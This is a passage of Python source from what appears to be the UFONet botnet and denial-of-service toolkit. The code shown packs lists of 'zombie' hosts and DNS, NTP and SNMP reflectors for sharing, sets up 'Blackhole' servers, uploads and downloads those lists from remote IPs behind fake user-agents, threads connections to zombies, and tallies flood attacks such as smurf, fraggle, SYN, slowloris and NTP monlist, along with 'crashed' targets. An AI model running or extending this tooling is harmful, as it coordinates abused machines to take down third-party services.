  1831. for fname in files:
  1832. shutil.copy2(os.path.join(src2,fname), self.warping_path)
  1833. if fname == 'zombies.txt':
  1834. in_file = self.warping_path+"/"+fname
  1835. in_data = open(in_file, "rb").read()
  1836. out_gz = self.warping_path+"/"+"abductions.txt.gz"
  1837. gzf = gzip.open(out_gz, "wb")
  1838. gzf.write(in_data)
  1839. gzf.close()
  1840. os.unlink(in_file)
  1841. print(" - "+fname+" -> "+self.warping_path+"/"+"abductions.txt.gz")
  1842. os.chmod(self.warping_path+"/"+"abductions.txt.gz", self.warping_folder_permissions)
  1843. if fname == 'aliens.txt':
  1844. in_file = self.warping_path+"/"+fname
  1845. in_data = open(in_file, "rb").read()
  1846. out_gz = self.warping_path+"/"+"troops.txt.gz"
  1847. gzf = gzip.open(out_gz, "wb")
  1848. gzf.write(in_data)
  1849. gzf.close()
  1850. os.unlink(in_file)
  1851. print(" - "+fname+" -> "+self.warping_path+"/"+"troops.txt.gz")
  1852. os.chmod(self.warping_path+"/"+"troops.txt.gz", self.warping_folder_permissions)
  1853. if fname == 'droids.txt':
  1854. in_file = self.warping_path+"/"+fname
  1855. in_data = open(in_file, "rb").read()
  1856. out_gz = self.warping_path+"/"+"robots.txt.gz"
  1857. gzf = gzip.open(out_gz, "wb")
  1858. gzf.write(in_data)
  1859. gzf.close()
  1860. os.unlink(in_file)
  1861. print(" - "+fname+" -> "+self.warping_path+"/"+"robots.txt.gz")
  1862. os.chmod(self.warping_path+"/"+"robots.txt.gz", self.warping_folder_permissions)
  1863. if fname == 'ucavs.txt':
  1864. in_file = self.warping_path+"/"+fname
  1865. in_data = open(in_file, "rb").read()
  1866. out_gz = self.warping_path+"/"+"drones.txt.gz"
  1867. gzf = gzip.open(out_gz, "wb")
  1868. gzf.write(in_data)
  1869. gzf.close()
  1870. os.unlink(in_file)
  1871. print(" - "+fname+" -> "+self.warping_path+"/"+"drones.txt.gz")
  1872. os.chmod(self.warping_path+"/"+"drones.txt.gz", self.warping_folder_permissions)
  1873. if fname == 'rpcs.txt':
  1874. in_file = self.warping_path+"/"+fname
  1875. in_data = open(in_file, "rb").read()
  1876. out_gz = self.warping_path+"/"+"reflectors.txt.gz"
  1877. gzf = gzip.open(out_gz, "wb")
  1878. gzf.write(in_data)
  1879. gzf.close()
  1880. os.unlink(in_file)
  1881. print(" - "+fname+" -> "+self.warping_path+"/"+"reflectors.txt.gz")
  1882. os.chmod(self.warping_path+"/"+"reflectors.txt.gz", self.warping_folder_permissions)
  1883. if fname == 'snmp.txt':
  1884. in_file = self.warping_path+"/"+fname
  1885. in_data = open(in_file, "rb").read()
  1886. out_gz = self.warping_path+"/"+"bosons.txt.gz"
  1887. gzf = gzip.open(out_gz, "wb")
  1888. gzf.write(in_data)
  1889. gzf.close()
  1890. os.unlink(in_file)
  1891. print(" - "+fname+" -> "+self.warping_path+"/"+"bosons.txt.gz")
  1892. os.chmod(self.warping_path+"/"+"bosons.txt.gz", self.warping_folder_permissions)
  1893. if fname == 'ntp.txt':
  1894. in_file = self.warping_path+"/"+fname
  1895. in_data = open(in_file, "rb").read()
  1896. out_gz = self.warping_path+"/"+"crystals.txt.gz"
  1897. gzf = gzip.open(out_gz, "wb")
  1898. gzf.write(in_data)
  1899. gzf.close()
  1900. os.unlink(in_file)
  1901. print(" - "+fname+" -> "+self.warping_path+"/"+"crystals.txt.gz")
  1902. os.chmod(self.warping_path+"/"+"crystals.txt.gz", self.warping_folder_permissions)
  1903. if fname == 'dns.txt':
  1904. in_file = self.warping_path+"/"+fname
  1905. in_data = open(in_file, "rb").read()
  1906. out_gz = self.warping_path+"/"+"warps.txt.gz"
  1907. gzf = gzip.open(out_gz, "wb")
  1908. gzf.write(in_data)
  1909. gzf.close()
  1910. os.unlink(in_file)
  1911. print(" - "+fname+" -> "+self.warping_path+"/"+"warps.txt.gz")
  1912. os.chmod(self.warping_path+"/"+"warps.txt.gz", self.warping_folder_permissions)
  1913. if fname == 'dorks.txt':
  1914. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1915. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1916. print("")
  1917. print("[AI] [Info] [Control] [DEPLOY] Files are ready to be shared with other 'motherships'...\n\n[AI] [Info] [DEPLOY] Other requirements:\n")
  1918. print(" - 1) Setup web server (apache, nginx...)")
  1919. print(" - 2) Make your web server accessible from the Internet (NAT/VPS) <-> ex: 'http(s)://<your ip>/ufonet/'")
  1920. print(" - 3a) Start [Blackhole] with: './ufonet --blackhole' (or python3 ufonet --blackhole &)")
  1921. print(" - 3b) Start [Grider] with: './ufonet --grider' (or python3 ufonet --grider &)")
  1922. print(" - 4) Share your IP on the sneaknet! (ex: SHIP.RADAR) ;-)")
  1923. print("")
  1924. except Exception as e:
  1925. print("[Error] "+str(e))
  1926. print("\n[AI] Something was wrong deploying in: '/var/www/ufonet'... -> [Aborting!]\n")
  1927. # generate [Blackhole] server to share [Zombies]
  1928. if options.blackhole:
  1929. self.banner()
  1930. try:
  1931. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1932. sys.path.append(blackhole_lib)
  1933. from core.tools.blackhole import BlackHole
  1934. print("\n[AI] Initiating void generation sequence...\n")
  1935. print('='*22 + '\n')
  1936. app = BlackHole()
  1937. app.start()
  1938. while True: time.sleep(1)
  1939. except KeyboardInterrupt:
  1940. print("\n[AI] Terminating void generation sequence...\n")
  1941. app.collapse()
  1942. except Exception as e:
  1943. print("[Error] "+str(e))
  1944. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1945. # create [Grider] server to share [Stats/Wargames/Messages]
  1946. if options.grider:
  1947. self.banner()
  1948. try:
  1949. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1950. sys.path.append(grider_lib)
  1951. from core.tools.grider import Grider
  1952. print("\n[AI] Initiating void generation sequence...\n")
  1953. print('='*22 + '\n')
  1954. app = Grider()
  1955. app.start()
  1956. while True: time.sleep(1)
  1957. except KeyboardInterrupt:
  1958. print("\n[AI] Terminating void generation sequence...\n")
  1959. app.collapse()
  1960. except Exception as e:
  1961. print("[Error] "+str(e))
  1962. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1963. # download list of [Zombies] from a [Blackhole] IP
  1964. if options.dip is not None:
  1965. options.download = True
  1966. self.blackhole = options.dip
  1967. # upload list of [Zombies] to a [Blackhole] IP
  1968. if options.upip is not None:
  1969. options.upload = True
  1970. self.blackhole = options.upip
  1971. # download list of [Zombies] from Community nodes (Radar) [02/02/2022 OK!]
  1972. if options.download_nodes:
  1973. try:
  1974. self.banner()
  1975. print("\n[AI] Downloading list of [Zombies] from [Radar] [Blackhole] [Nodes] ...\n")
  1976. print('='*22 + '\n')
  1977. download_nodes_list = self.downloading_nodes_list()
  1978. except Exception as e:
  1979. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1980. return
  1981. # download/upload from/to a user-provided IP (kept; --up-to / --down-from)
  1982. if getattr(options, 'download', False):
  1983. try:
  1984. self.banner()
  1985. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1986. print('='*22 + '\n')
  1987. download_list = self.downloading_list()
  1988. except Exception as e:
  1989. print("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1990. return
  1991. if getattr(options, 'upload', False):
  1992. try:
  1993. self.banner()
  1994. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1995. print('='*22 + '\n')
  1996. upload_list = self.uploading_list()
  1997. except Exception as e:
  1998. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1999. if DEBUG == True:
  2000. traceback.print_exc()
  2001. return
  2002. return #sys.exit(2)
  2003. # starting new zombie thread
  2004. def connect_zombies(self, zombie):
  2005. z=Zombie(self, zombie)
  2006. t = threading.Thread(target=z.connect, name=zombie)
  2007. t.start()
  2008. # single connection handling
  2009. def connect_zombie(self, zombie):
  2010. z=Zombie(self,zombie)
  2011. return z.connect()
  2012. def extract_proxy(self, proxy):
  2013. sep = ":"
  2014. proxy_ip = proxy.rsplit(sep, 1)[0]
  2015. if proxy_ip.startswith('http://'):
  2016. proxy_ip = proxy_ip.replace('http://', '')
  2017. elif proxy_ip.startswith('https://'):
  2018. proxy_ip = proxy_ip.replace('https://', '')
  2019. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  2020. proxy_ip = 'localhost'
  2021. proxy_port = proxy.rsplit(sep, 1)[1]
  2022. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  2023. return proxy_url
  2024. def proxy_transport(self, proxy):
  2025. proxy_url = self.extract_proxy(proxy)
  2026. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  2027. opener = urllib.request.build_opener(proxy)
  2028. urllib.request.install_opener(opener)
  2029. def check_mothership_chargo(self):
  2030. f = open(self.zombies_file)
  2031. self.zombies = f.readlines()
  2032. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  2033. self.list_zombies = []
  2034. for zombie in self.zombies:
  2035. t = urlparse(zombie)
  2036. name_zombie = t.netloc
  2037. if name_zombie == "":
  2038. name_zombie = zombie
  2039. self.list_zombies.append(name_zombie)
  2040. self.num_zombies = str(len(self.zombies))
  2041. f.close()
  2042. f = open(self.aliens_file)
  2043. self.aliens = f.readlines()
  2044. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  2045. self.list_aliens = []
  2046. for alien in self.aliens:
  2047. t = urlparse(alien)
  2048. name_alien = t.netloc
  2049. if name_alien == "":
  2050. name_alien = alien
  2051. self.list_aliens.append(name_alien)
  2052. self.num_aliens = str(len(self.aliens))
  2053. f.close()
  2054. f = open(self.droids_file)
  2055. self.droids = f.readlines()
  2056. self.droids = [droid.replace('\n', '') for droid in self.droids]
  2057. self.list_droids = []
  2058. for droid in self.droids:
  2059. t = urlparse(droid)
  2060. name_droid = t.netloc
  2061. if name_droid == "":
  2062. name_droid = droid
  2063. self.list_droids.append(name_droid)
  2064. self.num_droids = str(len(self.droids))
  2065. f.close()
  2066. f = open(self.ucavs_file)
  2067. self.ucavs = f.readlines()
  2068. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  2069. self.list_ucavs = []
  2070. for ucav in self.ucavs:
  2071. t = urlparse(ucav)
  2072. name_ucav = t.netloc
  2073. if name_ucav == "":
  2074. name_ucav = ucav
  2075. self.list_ucavs.append(name_ucav)
  2076. self.num_ucavs = str(len(self.ucavs))
  2077. f.close()
  2078. f = open(self.rpcs_file)
  2079. self.rpcs = f.readlines()
  2080. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  2081. self.list_rpcs = []
  2082. for rpc in self.rpcs:
  2083. t = urlparse(rpc)
  2084. name_rpc = t.netloc
  2085. if name_rpc == "":
  2086. name_rpc = rpc
  2087. self.list_rpcs.append(name_rpc)
  2088. self.num_rpcs = str(len(self.rpcs))
  2089. f.close()
  2090. f = open(self.dnss_file)
  2091. self.dnss = f.readlines()
  2092. self.dnss = [dns.replace('\n', '') for dns in self.dnss]
  2093. self.list_dnss = []
  2094. for dns in self.dnss:
  2095. t = urlparse(dns)
  2096. name_dns = t.netloc
  2097. if name_dns == "":
  2098. name_dns = dns
  2099. self.list_dnss.append(name_dns)
  2100. self.num_dnss = str(len(self.dnss))
  2101. f.close()
  2102. f = open(self.ntps_file)
  2103. self.ntps = f.readlines()
  2104. self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
  2105. self.list_ntps = []
  2106. for ntp in self.ntps:
  2107. t = urlparse(ntp)
  2108. name_ntp = t.netloc
  2109. if name_ntp == "":
  2110. name_ntp = ntp
  2111. self.list_ntps.append(name_ntp)
  2112. self.num_ntps = str(len(self.ntps))
  2113. f.close()
  2114. f = open(self.snmps_file)
  2115. self.snmps = f.readlines()
  2116. self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
  2117. self.list_snmps = []
  2118. for snmp in self.snmps:
  2119. t = urlparse(snmp)
  2120. name_snmp = t.netloc
  2121. if name_snmp == "":
  2122. name_snmp = snmp
  2123. self.list_snmps.append(name_snmp)
  2124. self.num_snmps = str(len(self.snmps))
  2125. f.close()
  2126. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_dnss) + int(self.num_ntps) + int(self.num_snmps))
  2127. return self.total_botnet
  2128. def update_flying_stats(self):
  2129. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  2130. with open(self.mothership_stats_file, "w") as f:
  2131. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "fraggle": "0", "xmas": "0", "ufoack": "0", "uforst": "0", "droper": "0", "overlap": "0", "pinger": "0", "ufoudp": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "sniper": "0", "crashed": "0"}, f, indent=4) # starting reset
  2132. stats_json_file = open(self.mothership_stats_file, "r")
  2133. data = json.load(stats_json_file)
  2134. stats_json_file.close()
  2135. aflying = data["flying"]
  2136. aflying = str(int(aflying) + 1) # add new flying time
  2137. data["flying"] = aflying
  2138. stats_json_file = open(self.mothership_stats_file, "w+")
  2139. stats_json_file.write(json.dumps(data))
  2140. stats_json_file.close()
  2141. def update_mothership_stats(self):
  2142. stats_json_file = open(self.mothership_stats_file, "r")
  2143. data = json.load(stats_json_file)
  2144. stats_json_file.close()
  2145. acompleted = data["completed"]
  2146. acompleted = str(int(acompleted) + 1) # add new completed attack
  2147. data["completed"] = acompleted
  2148. stats_json_file = open(self.mothership_stats_file, "w+")
  2149. stats_json_file.write(json.dumps(data))
  2150. stats_json_file.close()
  2151. def update_targets_crashed(self):
  2152. stats_json_file = open(self.mothership_stats_file, "r")
  2153. data = json.load(stats_json_file)
  2154. stats_json_file.close()
  2155. tcrashed = data["crashed"]
  2156. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  2157. data["crashed"] = tcrashed
  2158. stats_json_file = open(self.mothership_stats_file, "w+")
  2159. stats_json_file.write(json.dumps(data))
  2160. stats_json_file.close()
  2161. def update_missions_stats(self):
  2162. stats_json_file = open(self.mothership_stats_file, "r")
  2163. data = json.load(stats_json_file)
  2164. stats_json_file.close()
  2165. missions = data["missions"]
  2166. missions = str(int(missions) + 1) # add new mission target
  2167. data["missions"] = missions
  2168. stats_json_file = open(self.mothership_stats_file, "w+")
  2169. stats_json_file.write(json.dumps(data))
  2170. stats_json_file.close()
  2171. def update_scanner_stats(self, num):
  2172. stats_json_file = open(self.mothership_stats_file, "r")
  2173. data = json.load(stats_json_file)
  2174. stats_json_file.close()
  2175. scanner = data["scanner"]
  2176. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  2177. data["scanner"] = scanner
  2178. stats_json_file = open(self.mothership_stats_file, "w+")
  2179. stats_json_file.write(json.dumps(data))
  2180. stats_json_file.close()
  2181. def update_transferred_stats(self, num):
  2182. stats_json_file = open(self.mothership_stats_file, "r")
  2183. data = json.load(stats_json_file)
  2184. stats_json_file.close()
  2185. transferred = data["transferred"]
  2186. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  2187. data["transferred"] = transferred
  2188. stats_json_file = open(self.mothership_stats_file, "w+")
  2189. stats_json_file.write(json.dumps(data))
  2190. stats_json_file.close()
  2191. def update_max_chargo(self, chargo):
  2192. stats_json_file = open(self.mothership_stats_file, "r")
  2193. data = json.load(stats_json_file)
  2194. stats_json_file.close()
  2195. amax_chargo = data["max_chargo"]
  2196. if int(chargo) > int(amax_chargo): # new max chargo found
  2197. amax_chargo = chargo # add new max chargo
  2198. else:
  2199. amax_chargo = data["max_chargo"]
  2200. data["max_chargo"] = amax_chargo
  2201. stats_json_file = open(self.mothership_stats_file, "w+")
  2202. stats_json_file.write(json.dumps(data))
  2203. stats_json_file.close()
  2204. def update_loic_stats(self):
  2205. stats_json_file = open(self.mothership_stats_file, "r")
  2206. data = json.load(stats_json_file)
  2207. stats_json_file.close()
  2208. aloic = data["loic"]
  2209. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  2210. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  2211. data["loic"] = aloic
  2212. stats_json_file = open(self.mothership_stats_file, "w+")
  2213. stats_json_file.write(json.dumps(data))
  2214. stats_json_file.close()
  2215. def update_loris_stats(self):
  2216. stats_json_file = open(self.mothership_stats_file, "r")
  2217. data = json.load(stats_json_file)
  2218. stats_json_file.close()
  2219. aloris = data["loris"]
  2220. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  2221. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  2222. data["loris"] = aloris
  2223. stats_json_file = open(self.mothership_stats_file, "w+")
  2224. stats_json_file.write(json.dumps(data))
  2225. stats_json_file.close()
  2226. def update_ufosyn_stats(self):
  2227. stats_json_file = open(self.mothership_stats_file, "r")
  2228. data = json.load(stats_json_file)
  2229. stats_json_file.close()
  2230. aufosyn = data["ufosyn"]
  2231. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  2232. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  2233. data["ufosyn"] = aufosyn
  2234. stats_json_file = open(self.mothership_stats_file, "w+")
  2235. stats_json_file.write(json.dumps(data))
  2236. stats_json_file.close()
  2237. def update_spray_stats(self):
  2238. stats_json_file = open(self.mothership_stats_file, "r")
  2239. data = json.load(stats_json_file)
  2240. stats_json_file.close()
  2241. aspray = data["spray"]
  2242. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  2243. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  2244. data["spray"] = aspray
  2245. stats_json_file = open(self.mothership_stats_file, "w+")
  2246. stats_json_file.write(json.dumps(data))
  2247. stats_json_file.close()
  2248. def update_smurf_stats(self):
  2249. stats_json_file = open(self.mothership_stats_file, "r")
  2250. data = json.load(stats_json_file)
  2251. stats_json_file.close()
  2252. asmurf = data["smurf"]
  2253. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  2254. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  2255. data["smurf"] = asmurf
  2256. stats_json_file = open(self.mothership_stats_file, "w+")
  2257. stats_json_file.write(json.dumps(data))
  2258. stats_json_file.close()
  2259. def update_fraggle_stats(self):
  2260. stats_json_file = open(self.mothership_stats_file, "r")
  2261. data = json.load(stats_json_file)
  2262. stats_json_file.close()
  2263. afraggle = data["fraggle"]
  2264. afraggle = str(int(afraggle) + 1) # add new fraggle attack to recorded stats
  2265. self.total_fraggle = self.total_fraggle + 1 # add new fraggle attack to session stats
  2266. data["fraggle"] = afraggle
  2267. stats_json_file = open(self.mothership_stats_file, "w+")
  2268. stats_json_file.write(json.dumps(data))
  2269. stats_json_file.close()
  2270. def update_xmas_stats(self):
  2271. stats_json_file = open(self.mothership_stats_file, "r")
  2272. data = json.load(stats_json_file)
  2273. stats_json_file.close()
  2274. axmas = data["xmas"]
  2275. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  2276. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  2277. data["xmas"] = axmas
  2278. stats_json_file = open(self.mothership_stats_file, "w+")
  2279. stats_json_file.write(json.dumps(data))
  2280. stats_json_file.close()
  2281. def update_ufoack_stats(self):
  2282. stats_json_file = open(self.mothership_stats_file, "r")
  2283. data = json.load(stats_json_file)
  2284. stats_json_file.close()
  2285. aufoack = data["ufoack"]
  2286. aufoack = str(int(aufoack) + 1) # add new ufoack attack to recorded stats
  2287. self.total_ufoack = self.total_ufoack + 1 # add new ufoack attack to session stats
  2288. data["ufoack"] = aufoack
  2289. stats_json_file = open(self.mothership_stats_file, "w+")
  2290. stats_json_file.write(json.dumps(data))
  2291. stats_json_file.close()
  2292. def update_uforst_stats(self):
  2293. stats_json_file = open(self.mothership_stats_file, "r")
  2294. data = json.load(stats_json_file)
  2295. stats_json_file.close()
  2296. auforst = data["uforst"]
  2297. auforst = str(int(auforst) + 1) # add new uforst attack to recorded stats
  2298. self.total_uforst = self.total_uforst + 1 # add new uforst attack to session stats
  2299. data["uforst"] = auforst
  2300. stats_json_file = open(self.mothership_stats_file, "w+")
  2301. stats_json_file.write(json.dumps(data))
  2302. stats_json_file.close()
  2303. def update_droper_stats(self):
  2304. stats_json_file = open(self.mothership_stats_file, "r")
  2305. data = json.load(stats_json_file)
  2306. stats_json_file.close()
  2307. adroper = data["droper"]
  2308. adroper = str(int(adroper) + 1) # add new droper attack to recorded stats
  2309. self.total_droper = self.total_droper + 1 # add new droper attack to session stats
  2310. data["droper"] = adroper
  2311. stats_json_file = open(self.mothership_stats_file, "w+")
  2312. stats_json_file.write(json.dumps(data))
  2313. stats_json_file.close()
  2314. def update_overlap_stats(self):
  2315. stats_json_file = open(self.mothership_stats_file, "r")
  2316. data = json.load(stats_json_file)
  2317. stats_json_file.close()
  2318. aoverlap = data["overlap"]
  2319. aoverlap = str(int(aoverlap) + 1) # add new overlap attack to recorded stats
  2320. self.total_overlap = self.total_overlap + 1 # add new overlap attack to session stats
  2321. data["overlap"] = aoverlap
  2322. stats_json_file = open(self.mothership_stats_file, "w+")
  2323. stats_json_file.write(json.dumps(data))
  2324. stats_json_file.close()
  2325. def update_pinger_stats(self):
  2326. stats_json_file = open(self.mothership_stats_file, "r")
  2327. data = json.load(stats_json_file)
  2328. stats_json_file.close()
  2329. apinger = data["pinger"]
  2330. apinger = str(int(apinger) + 1) # add new pinger attack to recorded stats
  2331. self.total_pinger = self.total_pinger + 1 # add new pinger attack to session stats
  2332. data["pinger"] = apinger
  2333. stats_json_file = open(self.mothership_stats_file, "w+")
  2334. stats_json_file.write(json.dumps(data))
  2335. stats_json_file.close()
  2336. def update_ufoudp_stats(self):
  2337. stats_json_file = open(self.mothership_stats_file, "r")
  2338. data = json.load(stats_json_file)
  2339. stats_json_file.close()
  2340. aufoudp = data["ufoudp"]
  2341. aufoudp = str(int(aufoudp) + 1) # add new ufoudp attack to recorded stats
  2342. self.total_ufoudp = self.total_ufoudp + 1 # add new ufoudp attack to session stats
  2343. data["ufoudp"] = aufoudp
  2344. stats_json_file = open(self.mothership_stats_file, "w+")
  2345. stats_json_file.write(json.dumps(data))
  2346. stats_json_file.close()
  2347. def update_nuke_stats(self):
  2348. stats_json_file = open(self.mothership_stats_file, "r")
  2349. data = json.load(stats_json_file)
  2350. stats_json_file.close()
  2351. anuke = data["nuke"]
  2352. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  2353. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  2354. data["nuke"] = anuke
  2355. stats_json_file = open(self.mothership_stats_file, "w+")
  2356. stats_json_file.write(json.dumps(data))
  2357. stats_json_file.close()
  2358. def update_tachyon_stats(self):
  2359. stats_json_file = open(self.mothership_stats_file, "r")
  2360. data = json.load(stats_json_file)
  2361. stats_json_file.close()
  2362. atachyon = data["tachyon"]
  2363. atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats
  2364. self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats
  2365. data["tachyon"] = atachyon
  2366. stats_json_file = open(self.mothership_stats_file, "w+")
  2367. stats_json_file.write(json.dumps(data))
  2368. stats_json_file.close()
  2369. def update_monlist_stats(self):
  2370. stats_json_file = open(self.mothership_stats_file, "r")
  2371. data = json.load(stats_json_file)
  2372. stats_json_file.close()
  2373. amonlist = data["monlist"]
  2374. amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats
  2375. self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats
  2376. data["monlist"] = amonlist
  2377. stats_json_file = open(self.mothership_stats_file, "w+")
  2378. stats_json_file.write(json.dumps(data))
  2379. stats_json_file.close()
  2380. def update_sniper_stats(self):
  2381. stats_json_file = open(self.mothership_stats_file, "r")
  2382. data = json.load(stats_json_file)
  2383. stats_json_file.close()
  2384. asniper = data["sniper"]
  2385. asniper = str(int(asniper) + 1) # add new sniper attack to recorded stats
  2386. self.total_sniper = self.total_sniper + 1 # add new sniper attack to session stats
  2387. data["sniper"] = asniper
  2388. stats_json_file = open(self.mothership_stats_file, "w+")
  2389. stats_json_file.write(json.dumps(data))
  2390. stats_json_file.close()
  2391. def uploading_list(self):
  2392. from io import BytesIO
  2393. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2394. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2395. abductions = "botnet/abductions.txt.gz"
  2396. troops = "botnet/troops.txt.gz"
  2397. robots = "botnet/robots.txt.gz"
  2398. drones = "botnet/drones.txt.gz"
  2399. reflectors = "botnet/reflectors.txt.gz"
  2400. crystals = "botnet/crystals.txt.gz"
  2401. warps = "botnet/warps.txt.gz"
  2402. bosons = "botnet/bosons.txt.gz"
  2403. if self.options.timeout: # set timeout
  2404. try:
  2405. timeout = int(self.options.timeout)
  2406. except:
  2407. timeout = 5
  2408. else:
  2409. timeout = 5
  2410. if timeout < 1:
  2411. timeout = 5
  2412. try:
  2413. print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")
  2414. if self.options.forcessl:
  2415. if self.options.proxy: # set proxy
  2416. self.proxy_transport(options.proxy)
  2417. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2418. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2419. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2420. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2421. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2422. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2423. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2424. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2425. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2426. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2427. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2428. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2429. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2430. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2431. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2432. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2433. else:
  2434. if self.options.proxy: # set proxy
  2435. self.proxy_transport(options.proxy)
  2436. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2437. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2438. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2439. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2440. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2441. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2442. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2443. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2444. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2445. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2446. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2447. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2448. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2449. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2450. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2451. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2452. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  2453. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2454. print('-'*12 + '\n')
  2455. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")
  2456. return
  2457. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2458. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  2459. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2460. f_out_abductions.write(f_in_abductions.read())
  2461. f_in_abductions.close()
  2462. f_out_abductions.close()
  2463. num_zombies = 0
  2464. with open('botnet/abductions.txt') as f:
  2465. for _ in f:
  2466. num_zombies = num_zombies + 1
  2467. print("\n[Info] [Blackhole] Total [Zombies]: "+ str(num_zombies))
  2468. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  2469. f_out_robots = open('botnet/robots.txt', 'wb')
  2470. f_out_robots.write(f_in_robots.read())
  2471. f_in_robots.close()
  2472. f_out_robots.close()
  2473. num_robots = 0
  2474. with open('botnet/robots.txt') as f:
  2475. for _ in f:
  2476. num_robots = num_robots + 1
